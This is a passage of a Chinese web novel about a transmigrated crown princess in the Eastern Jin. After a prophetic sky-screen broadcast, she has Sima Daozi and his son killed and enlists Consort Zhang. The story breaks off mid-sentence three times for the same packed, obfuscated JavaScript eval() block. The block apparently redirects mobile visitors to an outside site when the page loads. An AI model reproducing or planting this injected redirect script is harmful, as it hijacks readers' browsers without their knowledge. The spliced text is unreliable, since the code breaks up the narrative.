【众所周知,永安大帝本人的带兵作战能力,只能说是那个时代的平均水平。虽然这一点已经非常不简单,但确实还够不上名将这个称呼,比起效忠于大帝的刘大将军,更是差了不少。】 【可若论理政水平、统筹后方、治理民生、决断治国方略,看看这表现吧,不仅在制衡中求生,还能厮杀出一条血路,嗯……不夸张地说,把当时代的那几位称王称帝的加在一起,都能被永安暴打。】 【这个时期的永安大帝其实还没有真正走上权力宝座,就已很好地证明了这一点。】 【如何摆脱世家与皇权的围困,如何借助宗教与皇权的制衡另立新规,如何调度出一支属于自己的队伍,又要如何面对近在咫尺的种种危机,永安大帝拿出的都是一份教科书级别的答卷。】 【三次险些致命的危机,非但没有将永安大帝的征程扼杀在摇篮中,反而给出了一个个掰手腕的机会,令曾经不服从的人俯首效力,直到坐稳那个一人之下万人之上的位置,可以真正大展拳脚办事。】 【这一段的种种博弈,比起同时期的女婿杀岳父,儿子杀父亲,也都要精彩太多了。】 【让我们姑且撇开某些感情纠葛的传闻,单纯以评估政治交锋的眼光,来分析这一段历史。】 【为……了避免又有人说……大帝的无脑吹,我……】 王神爱正听得聚精会神,就见那天幕上赫然像是信号中断一般,闪过了一片的雪花,接连错乱卡壳了一阵的视频画面。随后,那画面不仅没能恢复过来,还就这么彻底消失了。 倒是那展开在空中的天幕还未彻底消失,一片空茫茫的黑色,取代了原本彩色视频的位置。 “……!” 若不是还需保持太子妃的形象,免得被人发觉她已不是原主,王神爱险些要因为这突如其来的惊变跳起来。 喂! 这是干什么啊! 那分析的视频到现在还没说,到底谁才是那位永安大帝,就已经停下了。还不知道这空悬于天上的云雾长卷,要到什么时候,才会再次亮起来。 哪有这么有始无终的! 但在片刻的愕然之后,王神爱转念想来,又觉这中场休息…… 或许来得正好。 对谁来说都是这样。 天幕出现在夜间,将人强行唤起,已是个极为痛苦的事情。现在天幕消失,先前纷至沓来的消息仍如兴奋剂一般让人提神醒脑,却还是难以避免地有一阵阵困意让人眼皮发沉。 各方也都需要时间,来消化先前得到的消息。 比如说—— 若是天幕不仅能让建康城的百姓看到,还能让全天下的人看见,北方的拓跋珪就势必会排查自己所面临的隐患。 她记得,拓跋珪作为北魏的开国君主,提出了一项看似参考汉武帝、实则更不合理的举措,叫做“子贵母死”。 顾名思义,要立太子,就先杀了太子的母亲,防止出现后族干政的情况。 可就是这样的一条政令,不仅让拓跋珪自己被儿子刺杀身死,还对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14999177|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北魏接下来的几代造成了各种影响。 ——绝大多数不是正面的。 一时之间,他应该还想不到问题出在这条还没确立的法令上,但一定会对天幕的预言做出反应。 虽然这也意味着,南方的王朝会比先前遇上一个更加可怕的对手。 还有天幕先前说到,有个人会以女婿身份杀岳父,王神爱拍着脑子也没想出来这家伙现年几岁,不知道有没有已被看中娶了媳妇,反正他一定是被提到的人里处境最危险的一个。 能不能连夜脱逃成功,就要看他的本事了。 然后便是…… 天色刚明,王珣只在司马曜的灵堂前和衣小憩了大半个时辰,就被侍从轻轻推醒,示意他有人来找。 邀请他的不是别人,正是司马道子。 想到闭眼前做出的安排,王珣揉了揉眼睛,故作警惕地打量着前来邀约的宫人,问起了会面的地点。 经过了一番短暂的拉锯,他这才成功地将会面地点,定在了距离此地不远的一座宫室内,且两人都不得带超过十名护卫。 司马道子显然没有怀疑于他。 宫中有太后坐镇,也早被他伸手进来,是个安全至极的地方,根本不必担心。 琅琊王氏也是未来的合作方,如今只需要一段正式的洽谈而已。 王珣在殿中并未等候多久,便已听到了司马道子由远及近的声音:“元琳何必对我如此防备,连见面都要这般警惕。” 他迈步入殿,王珣但凡没有眼瞎,都能看出,司马道子先前必定没有休息过片刻。 只靠着那股求生的拼劲,才一直强打着精神。 王珣拱手道:“恕我失礼,我看会稽王此时,还是远走最好。” 司马道子努力维系出的笑容一僵,又想到了今日的目的,再度舒展了脸色,“瞧你这话说的,你难道真愿意生死被天幕下个定论?” 王珣没有回答,只轻叹了一口气。 这一下叹气,好像比说什么都要管用。 司马道子顿时有些绷不住脸色,怒道:“别告诉我,你愿意等到那什么永安大帝出现,带着琅琊王氏向他投诚。就算如此,也未必就能得到个好结果,为何不与我同路,搏出个将来!” “天幕消失之前也说了,这永安大帝在未能真正执掌晋朝权柄之前,也曾遭遇过三次生死劫难,我们还大有希望将他铲除,而不是等到他将我车裂,将你琅琊王氏杀去大半。” 这是他们的机会。 天幕告知了未来,为什么不能改变呢? 他又朝着王珣迫近了一步,语气也越发急促:“我不瞒着你!早在半个时辰前,我已发起了几条调令,除了让两位掌兵的太守带兵回援,还让人火速前往彭城,除掉被罢官在家的刘牢之!” 王珣眉头一皱,“你觉得,永安大帝的刘大将军,是曾在北府军中任职的刘牢之?” “不管是与不是,先杀了总不会错。”司马道子的眼睛里满是红丝,也不知道是因熬夜,还是因情绪癫狂。“若非此刻人手不足,我更应该杀的人,是桓玄!” 桓温的儿子,桓玄。 “什么人当皇帝,会遭到世家与皇权的围困?除了以军功起家的桓氏,没有第二个可能。” “桓温当年废立皇帝,若非谢安等人周旋,险些便要废黜皇帝,自己亲自上位,如今,他的小儿子桓玄日渐长成,崭露头角,想要重现父辈的夙愿,有何不可能?” 在将一个个可疑的人选排除过去后,他能得出的,只有这个结论。 也只有桓温的儿子,会疯狂到连琅琊王氏都要痛下杀手! 要是条件允许,他一定先杀桓玄。 王珣若有所思:“你这判断……倒是有些道理。” 司马道子咬牙切齿:“不是有些道理,是有——” “但很抱歉,我不能答应你的结盟。”王珣冷不丁打断了他的话。 司马道子面色遽变。 却不是因为王珣的请求,而是因为,当王珣说出这话的同时,在殿外赫然传来了一阵惨叫,还是一个对他来说尚算熟悉的声音。 下一刻,这宫殿合拢的门扇更是被人踹了开来。 司马道子尚未来得及拔出腰间的配剑,将王珣挟持为人质,便已被一众弓弩手指住了头颅。 他不用问都知道,原本被他留在殿外的护卫与眼线,在方才一瞬的惊变之中,怕已没有一个存活下来。 他自己,也已在此刻变成了笼中猎物。 更让他意外的,还是在那弓弩手之后站着的人。 司马道子厉声喝道:“太子妃这是什么意思?” 王神爱缓步站定在司马道子的数丈之外,最前排的弓弩之后的位置。 殿外熹微的天光自她的背后投照而入,依稀勾勒出她的身形,也将她的面容笼罩在一团逆光当中,让人根本无法看清她的神情。 只能听到她的声音徐徐传来:“我还以为,皇叔这一手又是提前杀人又是结盟,是不打算承认,陛下虽死,仍有太子与二皇子了。原来还知道,我是太子妃啊。” 司马道子一点也不觉得,她这平和的语气,是真来同他商量这个的。“有话说来就是。” 王神爱会心一笑:“皇叔聪慧,我也不卖关子了。天幕一出,天下震荡,我晋朝内忧外患,已展露在人前,所以——” “不得不借皇叔头颅一用,以定太平。” 这不是一句商量,而是通知。 6. 006 借他头颅……一用? 头若是没了,人还能活吗? 司马道子瞳孔一缩,“你要杀我?” “你怎么敢!” 就算天幕已向世人告知,他这个会稽王从陛下手中篡夺权柄,做了不少为非作歹之事,为新君所不容,他也万万没想到,率先向他动手的,竟然会是王神爱这个太子妃。 此刻率先出声的人是她,而不是王珣,也让司马道子近乎本能地意识到—— 真正做出这个杀人决定的,应当还是王神爱。 这个年不过十三的孩子! 他声色骤厉,“太子妃莫不是觉得,拿着我的头颅,便能向那位永安大帝递交投名状?琅琊王氏早与我司马氏根深蒂固地捆绑在了一起,若晋朝倒塌,你们也……” “谁说我们就一定要给你们陪葬?”王神爱抢先一步反问,打断了司马道子的话。 “皇叔啊皇叔,你确实是宗室里的中流砥柱,但你别忘了,天幕的出现,对于那位未来的永安大帝来说,未必是一件好事。” “琅琊王氏此刻抉择分明,算不上见风使舵,甚至还有可能是雪中送炭,不是吗?” 王珣没有吭声,却在一旁点了点头。 看看司马道子这还没确定目标,就已想要乱杀一气的表现吧。 那恐怕不会是个例。 永安大帝身份一旦曝光,遇到的危险也不会比现在更少。 倘若琅琊王氏愿意赌一把,先争出个表现来,往后若是再有图谋,甚至是对那位永安大帝倒戈一击,都要容易得多。 正如王神爱所说,现在不是他们可以讲求圆滑,一动不动的时候。 杀了司马道子,利远远大于弊! “您已失了最重要的天命,便不必挣扎了。”王神爱声音淡淡,却在这话说完的下一刻抬起了手来。 她已懒得再听司马道子的废话。 既是留他无用,杀了便是。 王珣调来的弓弩手,都是琅琊王氏的亲卫,对于东晋皇室的敬畏本就少之又少,更别说是眼前这位会稽王。 王神爱抬手的刹那,十数支羽箭便已离弦而出。 箭矢破空的劲响中,一个声音戛然而止。“你不能——” 不,没有什么不能的。 司马道子瞪大了眼睛。 他的胸口与额前,箭矢的尖端已然没入,只剩下了翎羽在外颤动。 所有的质疑与反抗都已在此刻化为灰烬,随风而去。 司马道子残存的最后一点意识也已飞快地离他远去,让他无法分清,到底是天幕所说的五马分尸更为惨烈,还是此刻的死亡更为窝囊。 但毫无疑问,他先前的求生与安排,都已经没有了任何意义。 他的尸体也在断气之前,便轰然倒在了地上。 此时,距离“孝武皇帝”司马曜的过世,还不足半日。 王神爱仰头,费力地将视线从眼前血腥的场面,转移到头顶的画栋架梁之上,但那种刺鼻的血腥味依然难以避免地涌入她的鼻腔。 先前司马曜被张贵人捂死,还被夜色遮掩了大半,哪似此刻,死人的场景就这样直白地呈现在她的面前,还是由她所发起的。 若不是她从昨夜到现在半点吃食都未用,只怕早已被恶心地吐了出来。 可指尖抵住掌心的刺痛又在反复提醒她,起码在此时,她不能露出任何一点破绽,打断她自己的求生之路。 不能! 她脸上仍旧是先前的淡漠,背着手、屏住呼吸走出了这间大殿,直到面前场景变成了殿外的花园,方觉呼吸顺畅了不少。 又听到身后,已有脚步声跟了上来。 是王珣的声音。“太子妃觉得,要如天幕所说,将司马道子五马分尸吗?” 王神爱惊愕回头:“族叔竟如此心狠手辣?” 王珣哽住了一瞬:“……” 不是!率先想要杀司马道子的是王神爱,又不是他,他充其量就是觉得要干就干个彻底,这“心狠手辣”四字从何而来! 最……最多就是顺应一下时势而已。 何况,王神爱不是提醒他了吗?圆滑手腕在这个时候不仅不好用,还该彻底摒弃才好。 王神爱深吸了一口气:“不必了,让人将会稽王的头颅取来就好,我另有用处。此外,劳烦族叔再去做两件事。” 王珣点头:“你说。” 这一夜间,发生了太多的事情。纵然司马道子伏诛,也让他只觉一阵无力与疲惫,更让他……哪怕明知自己一个做长辈的,该当自己动脑,还是听从了王神爱的安排,甚至越看越觉她可信。 这种微妙的变化,他也说不上来是好是坏,只能走一步算一步。 “先前司马道子说,他已让人去刺杀刘牢之。无论他到底是不是天幕中提及的刘大将军,劳烦族叔都尽量救上一救,或许于我们有大用。” “另外,司马道子虽死,他的同党却还活在人世,必须尽快调兵前来支援。” 今日派上用场听从调派的,约莫只有二三百之数,还远远不够掌握住建康城上下。 危机随时可能再度袭来。 她可不想杀了一个司马道子,转头就自己也丢了性命。 呼吸间那种令人作呕的气味,终于被庭中的秋风彻底冲散,王神爱闭上了眼睛,脸颊因唇齿咬合短暂地一颤,待到再度睁开眼的时候,已恢复了平静。“这两件事,就全拜托族叔了。我——” “我现在还得去见一个人。” 一个在宫中看似没什么话语权,现在司马道子死了,却反而重要起来的人。 …… “砰——” 李陵容一把打翻了面前的檀木锦盒,蹬蹬后退了数步。 锦盒之中的那颗人头,就这样骨碌碌地滚了出来,在宫殿的地毯上染出了一条血色。 她难以置信地瞪圆了双眼,视线在地上的人头和面前的王神爱脸上来回逡巡,险些被那强烈的晕眩感夺去了神志,直接倒地昏过去。 殿中宫人的尖叫声几乎要刺破她的耳膜,让她战栗着意识到,眼前所看到的景象并不是她的幻觉。 “你杀了他……” 李陵容的神志在告诉她,她应该像先前冲上去扇打张贵人一般,将眼前的这个凶手打翻在地,可一种毛骨悚然的恐惧和无措,又让她的脚底像是和地面黏在了一起,难以挪动半步。 只有一句脱口而出的惊喝:“你为什么要杀了他!” 王神爱抬眸,两行清泪已从她的脸上滑落了下来。 李陵容:“……?” 等等,杀人的是她,她哭什么! 这句质问都还没从喉咙口发出,面前这个稚气的太子妃已用袖子抹起了眼泪,哭得更加厉害,仿佛死了亲人的,不是眼前的太后李陵容,而是她自己。 王神爱努力吞咽了一下,但一想到自己此刻的麻烦处境,眼泪便流得更凶了,开口的声音也满是委屈:“是我想要杀他吗?天幕如此,皇叔他迟早是个死,还不如死得更有价值一些。” “你……” 她睁着一双通红的眼睛,顶回了李陵容本要出口的话:“太后是从贫苦人里出来的,那您该当知道,这天幕所说扩散于四海,到底会激起怎样的民怨沸腾,先帝又会变成怎样的笑话!” 李陵容愣在了当场。 她不像是那些世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007674|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家贵女,没读过多少书,完全是因为运气太好,又生下了这两个儿子,才能过上安稳日子。 可她知道一件事,正如王谢堂前飞燕,从不飞入寻常百姓家一样,她那个执掌大权的王爷儿子,也从不将百姓放在眼里。 淝水之战后,朝廷陆续收回了一些地方,也将流寓州郡扩展出了数个,但这些地方的人,并未重新组织土断,将户籍登记在册,反而大半变成了司马道子的私产…… 有些东西,还被这个儿子以吹嘘的语气在她的面前说起过。 若是天幕不将这些东西说出来也就罢了,可现在……现在不一样了! 王神爱又重复了一遍,像是在说服太后,又像是在说服痛下杀手的自己:“他总是要死的。区别也不过是由谁杀死而已。” “可你为何——” “太后娘娘,”王神爱一把扯住了她的衣袖,字字恳切,“您已没了儿子,难道还想要没有孙子吗?一个必死之人,能换来太子和二皇子的存活,有何不可!” “要我说,不如干脆对外放出消息,就说先帝还未被张贵人杀死之时,就已因会稽王犯上作乱被杀,经由一夜鏖战,叛党终于伏诛,说出去的话也好听得多。” 李陵容险些咬着自己的舌头,不曾想到,王神爱还能说出这样的一句来。 她不敢去看地上那颗鲜血已冷的头颅,避开了那双死不瞑目的眼睛,死死地盯着眼前的太子妃,“然后呢?元显怎么办?” 司马元显,会稽王司马道子的儿子,那也是她的孙子! 王神爱站在太子妃的立场上,要保全太子与二皇子,这很合乎逻辑,在那句“他迟早要死”面前,司马道子的死也变成了水到渠成,可司马元显呢? 难道她一夜之间接连死了两个儿子,现在还要再死一个孙子不成! 不能怪她有所偏私。比起痴傻的司马德宗和怯懦的司马德文,司马元显当真能称一句聪慧过人、志气果锐,是个俊才人物。 万一…… “太后,可他一定不是未来的永安大帝!”王神爱的一盆冷水朝着李陵容的头上浇了下来。 “如果他是的话,天幕上的神仙不会将皇叔骂成这个样子,更不会说,他屡次给永安大帝找麻烦。” “二皇子都比他有可能是那个未来的天下共主!” “再舍弃一个人,保全更多的人,尤其是保全您和宫中的两个孙儿,已容不得犹豫了。” 她哽咽着,像是经过了艰难的抉择,“太后,我也不想走到今日,但……” 但时局如此,天意如此,她们也都不过是身不由己而已。 面对这一串连珠炮一般的话,李陵容颤抖着双唇,竟有许久说不出话来。 或者说,以她贫瘠的学识,在王神爱步步紧逼的话语面前,根本没有一点反击的本事。 明明对方脸上泪痕未干,只像是个脆弱的小姑娘,她竟觉得面前的这双眼睛,忽然比地上死人不能瞑目的双眼,还要让人难以直视。 “……可你找上我做什么?” 王神爱抽噎着答道:“陛下驾崩,皇叔伏诛,皇子年幼,天幕之下又是各方虎视眈眈,恳请太后下旨,调度北府军护驾!这一道命令,必须由太后来下达。” “我……我哪会这个!”李陵容本就偏黑的肤色里闪过了一丝赧然,以及更深的惶恐。 汉代的太后有临朝摄政的本事,她可什么也不会。 她连自己的命保不保得住都不敢确定。在命都保不住的时候,她来不及为儿子的死去伤感太久,甚至不知道该恨谁。 王神爱咬着牙,又上前了一步:“那就由我来做!危难临头,我愿——竭力一试。” 7. 007 她来一试? 在血色的震撼面前,李陵容甚至没能想起来,王神爱刚以太子妃身份被接入宫中的时候,到底是何模样。 她此刻面颊泪痕未干,神情却异乎寻常的坚毅,已足够将先前的种种全部推翻。 “可我能信你吗?”李陵容近乎喃喃地发问。 她能相信王神爱的判断,相信她的立场吗? 司马曜在世的时候,曾经和她说过几句话。 他说,对于王、谢世家来说,君轻臣贵的现状,已足够让他们满意,所以他们没有这个必要再去僭越。 在某些时候,他们的掌控欲,其实也是对皇室的保护。 虽然任何一个实权皇帝都无法容忍这样的处境,但若是老的老,小的小,傻的傻,这就已经再无所谓了。 那么毫无疑问,当李陵容问出这句话的时候,她心中已经有一个答案了。 她除了相信对方,又有什么其他的选择呢? 至于儿子被杀的仇…… …… 王珣在门外等候良久,突听门扇发出了一声开启的吱呀声响,下一刻就见到,王神爱带着两份卷轴走了出来。 他顿时松了口气,快步迎了上去。 太后的体格相比太子妃,那可不是高壮一点点。 他起先就担心,太后会不会在见到另一个儿子的脑袋时,直接选择殴打太子妃。 偏偏王神爱要以尊敬太后为名,自己亲自走进去,与亲身入虎穴也没什么区别。 “……族叔?” 王珣神色一振,收回了遐思,“太后如何说?” 王神爱晃了晃手中的懿旨,“还能怎么说?我在去找太后之前就已和你说了,我是去以理服人的。” 以,理,服,人。 王珣沉默了片刻,不知道为何她能如此理直气壮地说出这四个字。 若是杀了人家的儿子,再去指挥人家做事,也叫以理服人的话,这世上只怕没人敢说自己是暴力行事了! 只是如今局势紧迫,由不得他再在这件事上深究。 王珣平复了无语的心情,转而问道:“为何有两封旨意?” 一封不必多说,是为了调度北府军前来护驾。 这也是王神爱在问询过他能掌握多少兵力后,做出的决定。 门阀藏匿隐户、豢养私兵盛行,但若要真论起作战的实力,首推还是北府军,再便是由桓氏栽培出的那支荆州军。 后者不必指望,前者仍算在朝廷的统治之下。 北府军啊…… 昔日晋朝衣冠南渡,随同流亡南下的百姓,并不是人人都能入江东腹地享清福,而是以流民的形式聚集在广陵和京口。 其中身强力壮、骁勇善战的,便被遴选出了一支军队,因京口又名北府,故而得名北府军。 京口距离建康不足一百五十里,调兵来援,就距离上来说,也是恰到好处。 只是这份调令,不适合由琅琊王氏发出,还需由皇帝或者太后征调,才算一个名正言顺。 王神爱也旋即将其中一张交到了王珣的手中,证实了他的判断。 “我向太后建议,为防天幕再度出现,带来意料之外的消息,不如暂且效仿后秦的姚兴,太子先不登基,诏令正常发出。同时令二皇子领大将军之职……” “他从未掌兵,如何能当这个大将军?”王珣质疑道,又自己飞快地想通了。 无论如何,天幕所致,司马德宗是个白痴的消息已被告知天下,大有可能难以如愿登基。反而是二皇子司马德文因那句“先后当上皇帝”,还有问鼎皇位的机会。 先从大将军做起,便是个最好的过渡。 倘若永安大帝并不是他,废掉一个不知兵事的将军,也比废掉一个太子容易得多。 “族叔放心,这兵权暂时还在我们手里。” 她迫切地需要拿到一份保命筹码,不会为人作嫁。 “太后也只有一个请求,那就是希望我能从北府军中单独挑选出一支精锐,一旦皇宫有变,必须护持她们逃离皇宫,寻得一个安身立命之所。” “——我已做主,先答应了。” 王珣点头,面上不见多少波澜,心中却又是一阵五味杂陈。 王神爱在危机面前的表现越是出色,他也就越是担忧。 在有这样一位出色的后辈挡在前头的情况下,琅琊王氏仍旧遭到了灭顶之灾,那位永安大帝到底该有多强啊? 偏偏解说的画面虽已消失,天幕仍旧悬挂在天穹上,像是在提醒他,还有一把大刀,随时会劈在他的头顶,夺走他和族人的性命。 王神爱的声音将他重新拉回了眼前,“另一道旨意,是宣调司马元显还朝,接替他父亲的位置。” 她扯了扯嘴角,客套地微笑:“又要劳烦族叔了,在宫门前提前做好准备。既要杀人,就务必斩草除根!” 在穿越之前,她一个在红旗下长大的人,何曾想到,有朝一日她也会将这“斩草除根”四个字说得如此顺口。 王珣不知她此刻所想,只是没忍住多问了一句:“……你这都是和谁学的?” 这可真是好毒辣的手段啊! …… 王神爱的推断一点没错。 当司马道子的令牌随同口信一并,被送到司马元显面前的时候,年仅十五岁的会稽王世子并未即刻听宣动身,而是目光沉沉地看着面前的那方令牌。 他的指腹摩挲着上头的纹样,眼中流露出了一抹深思。 夜间的天幕景象,他被扈从唤醒后看得分明,不敢错过只言片语,也将其中对于司马道子的谴责,听得清清楚楚。 值此情境,纵然他父亲在朝堂上执掌大权,此时也难保不会落入危险之中。 最合适的应对之法,就是让早慧的司马元显留在宫外作为接应,同时也能让宫中之人投鼠忌器。 其实不该在这个时候,让他也一并进宫的。 但当太后的懿旨在半日后抵达他面前的时候,他起先的种种怀疑,都先被抛去了脑后。 “世子真要动身入宫?”他的侍从紧跟着他的脚步出行,却也免不了担心地发问。 司马元显翻身上马,一把扯紧了缰绳,回头答道:“太后向来喜欢我,多过喜欢我那两个堂兄弟,有这份亲笔懿旨在,料来局面和我想的有些不同。” “父王的处境或许危险,但有太后护子心切,在旁斡旋,仍有商榷的余地,由我接替父王的位置,也是一种办法。” 天幕可还没有骂到他的头上。 他也自有一份底气敢说,若是让他来接掌朝政,怎么都要比司马德宗和司马德文这对兄弟好得多。 父亲不便再出面,就让他这个有本事的儿子来做好了。 他高呼一声:“走!” 这一个斩钉截铁的话,决定了他和随从的去留。 急促的铁蹄,也将这位会稽王世子以最快的速度带入了宫中。 守卫宫门的士卒检阅了他手中的太后懿旨,并未多问,就已对他放行。 司马元显快速地扫视了一圈宫门周遭的景象,微不可见地放松了几分。 并未发现此地有人埋伏,要对他不利,也没发现守门的士卒对他的态度有任何的异样。 好得很! 他缓缓策马向前,并未选择下马而走,却已将手中的缰绳松开了少许,不再是随时都让前列士卒掩护他撤退的做派。 直到坐骑穿过了云龙门,越过散骑省,便是太后宫时,司马元显方才翻身落地,摆出了一副好儿孙的样子。 他也随即看到,一名宫女脚步匆匆,从北面行来,手中捧着一份太后懿旨,像是要去另一头传召。在见到这一行全副武装的人后,她面色一白,强打着精神向他问了声好,停都不停地继续向前奔去。 宫中此刻的紧绷氛围不言而喻。 也不知道他父亲现在怎样了。 司马元显再不多疑,对着身旁的数名将领抬手示意,自己当先一步顺着宫中甬道走去。 可也就是在他迈出这一步的刹那,一支破空的重型弩箭赫然自远处突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016877|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然飞来,裹挟着蓄势待发的狠劲。 “嗖”的一声。 他尚未来得及躲避的刹那,那支重箭便已贯穿了他的胸膛。 司马元显瞪大了眼睛,踉跄地后退了一步,抬眼更是骇然地看到,一片飞羽毫无留手地砸了下来,密密匝匝地覆盖了他眼前的天穹。 那是一片早已准备好的伏击,也等在了他最不设防的时候。 无论是他,还是与他一起前来的人,在这样的箭雨面前,都绝无生还的机会! 他怎么也没想到,他们走了进来,就再走不出去了。 那太后的邀约,确实是给他的定心丸,却也更是一道索命符! …… 随着司马元显的尸体倒了下去,随着数十名侍从的尸体相继倒下,巷道之中的砖石上很快浸染了一层血色。 今日秋风正盛,也将这股血气在宫闱内苑吹开。 以至于当王神爱推开面前的这扇宫门之时,竟有片刻难以分辨,鼻息间的血腥味,到底是从殿外飘来的,还是屋中残存。 她定了定心神,朝着殿中看去,就见在殿中一角的壁柱旁,以镣铐栓系着一个身影。 有趣的是,倘若全当这镣铐并不存在,那斜靠着的身影未免过于惬意了些,浑然不似置身禁锢之中。 依然披散的乌发之下,那张眉眼昳丽的脸,也只是略显苍白失神,与这殿中的阴影相得益彰,透着一种魔性的美丽。 “张贵人。” 或许是已渐渐从先前杀死皇帝的疯劲中恢复了过来,听到这句轻唤,张贵人抬起了原本垂落的眼神,在黑沉的双瞳里闪过一抹讶异。 “怎么是你?” 她想过,在自己被囚禁在此等待清算的时候,会有人找上门来,却没想到,这个人会是王神爱。 她只是个宠妃,称不上是太子妃的长辈,也就没怎么同她打过交道。 既无冤仇,也无交情,如今正值多事之秋,太子妃好像没有来看她的必要。 王神爱踱步入内,在距离张贵人十余步外的一张坐榻上落座。 眼见此举,张贵人秀眉打结,“莫要告诉我,你是来看我笑话的?” “不,恰恰相反。”王神爱轻叹了一声,“我是来告诉你,你应当在不日之内就会被暂时放出去。因为……比起真如所谓的天幕和“史书”中所说,被宠妃捂死在被褥之下,太后还是更愿意接受自己的儿子因为宗室宫变被杀。你明白我的意思吗?” 张贵人没有作声,心中却已因王神爱的话掀起了惊涛骇浪。 什么叫做,比起被宠妃所杀,太后更能接受儿子死于宗室谋逆? 按照她的意思,只怕此刻已有“宗室”,甚至大有可能就是会稽王司马道子,替她背上了弑君的罪孽。 太后再如何恼恨于她,为了说服其他人,也得让她暂时恢复自由身。 这也就意味着…… 她有了彻底脱身的机遇。 只有这一种可能! 张贵人的眼中霎时泛起了一点光亮,却也写满了掩饰不住的狐疑:“可我不明白,你为什么要帮我?” 以当日太后的表现,以她素来对太后的了解,她敢断定,若没有旁人出手影响,太后绝不可能这么轻易地改了态度。 再看今日出现在她面前的人是谁,有些东西便不言而喻了。 张贵人哑着嗓子:“我与你没什么交情,我也没什么用处。” 比如天幕所说的东西,她先前神思恍惚,甚至漏掉了不少,也就比起眼前的太子妃,还要困惑得多。 但她听到的,却是一句奇怪的答案。 “不,你说错了,我不是在帮你。我只是觉得——” 王神爱定定地凝视着眼前的张贵人,眼神不明。 张贵人觉得一定是屋中太暗,若不然,她为什么会从这里面,看到一点孩子气的郁闷和气恼。 王神爱像是经过了长久的打量与审视,方才给出了最后的答复:“一个敢杀皇帝的人,也一定有这个胆量,挣脱既定的命运。你说是吗?” 8. 008 张贵人听了便笑:“我只是不想因失宠而死,你也大可不必将我想得如此高尚。” 世家贵女可以曲水流觞,以絮咏雪,她会什么?她只会描眉唱曲而已。 杀死司马曜,更是个天大的意外。 “那你在动手杀人前,想过自己脱身的办法吗?” 张贵人手腕上的镣铐,因她抬手去理鬓发的动作,发出了一声轻响。“……想过。” 此时此地,只有她和王神爱两个人,她没有任何必要在这件事上说谎。 “我当然想过。” 她眼神有一瞬的缥缈:“杀了皇帝而死,和他将我弃如敝屣而后杀死,对我这等庸俗之人来说,没有什么区别。倘能苟活,谁不想活着呢?” “是啊,”王神爱幽幽赞道,“能活着,当然是活着更好。” 张贵人又投去了奇怪的一眼,“你这人可真有趣。我以为你们这些士人出身的,起码也要将死有重于泰山挂在嘴边,怎么就你将想活命说得那么直白。” “现在好像是我在问你问题。”王神爱提醒道。 张贵人嗤笑了一声:“有些话,我不说你也知道。朝堂局势如此,总有人是巴不得先帝赶紧去死的,我命如草芥,死与活对有些人来说无关痛痒,他反而还该谢谢我,做了他本想做的事情,不必非要杀我。” “何况,自得先帝恩宠到如今,我也攒了不少金银财货,拿去疏通疏通门路,让人睁一只眼闭一只眼,放我走也不难。只是我没想到……” 她没想到,会突然出现天幕这个东西。 不仅堵死了她的路,也堵死了有些人的路。 所以当她被拖到殿前的时候,一句话都懒得多说,只是发笑。 死就死了,能得到史书上的弑君记载,或许也不算白来世间一趟。 张贵人转回了话题:“我还是不明白,你为何要救我。总不能是看我行事大胆,想要拉拢于我吧?” 她一边说,一边自己先被逗笑了。 却见她面前这张素淡稚气的脸上,不见任何调笑的意思:“我看起来,不像是来招贤的吗?” “……”张贵人觉得自己可能没有睡醒,要不然,她怎么会听到招贤这两个字。 但在刹那的惊愕过后,她又难以避免地在想,这天幕,或许也没有她想的那么坏。 为了抗衡天幕上广而告之的“未来”,人的命数恰恰有了额外的可能。 比如,她面前本该循规蹈矩当上皇后的王神爱。 比如…… ------ 少年一把拽出了命中臂膀的那支利箭,快速以手中烫过的银刀剔去了箭伤周遭的坏肉,自腰间的包裹里翻出了伤药,朝着伤口上抖了上去。 他深邃而俊俏的眉眼,顿时被剧痛刺激得皱成了一团,额角也泛起了一层细密的冷汗。 但他依然咬紧着牙关,不敢发出太大的声响。 包扎完了伤口后,更是快速将此地留下的东西填埋干净,而后动身继续行路。 逃亡仓促间,他也忍不住又骂了一声—— “这该死的天幕!” 五年前,拓跋珪向匈奴铁弗部落用兵,几乎屠灭全族,只剩他因为在外狩猎,有幸摆脱了魏国骑兵。 一开始,他先投向了临近的部落,发觉对方有将他交出去讨好拓跋珪的想法后,他便继续走上了自己的流亡之路,最终在秦国大将没奕于的麾下找到了个谋生的职务。 五年之间,为了将来有杀回故地的希望,他压制着自己骨血里的好战与残酷,装成了个谦恭有礼的年轻小将,一步步得到了没奕于的信任。 半月前,没奕于还透露出了一个意思。他并不在乎这个少年的来历如何、家世如何,看在他“性辩慧,美风仪”的份上,准备将自己的女儿嫁给他,再进一步地栽培他。 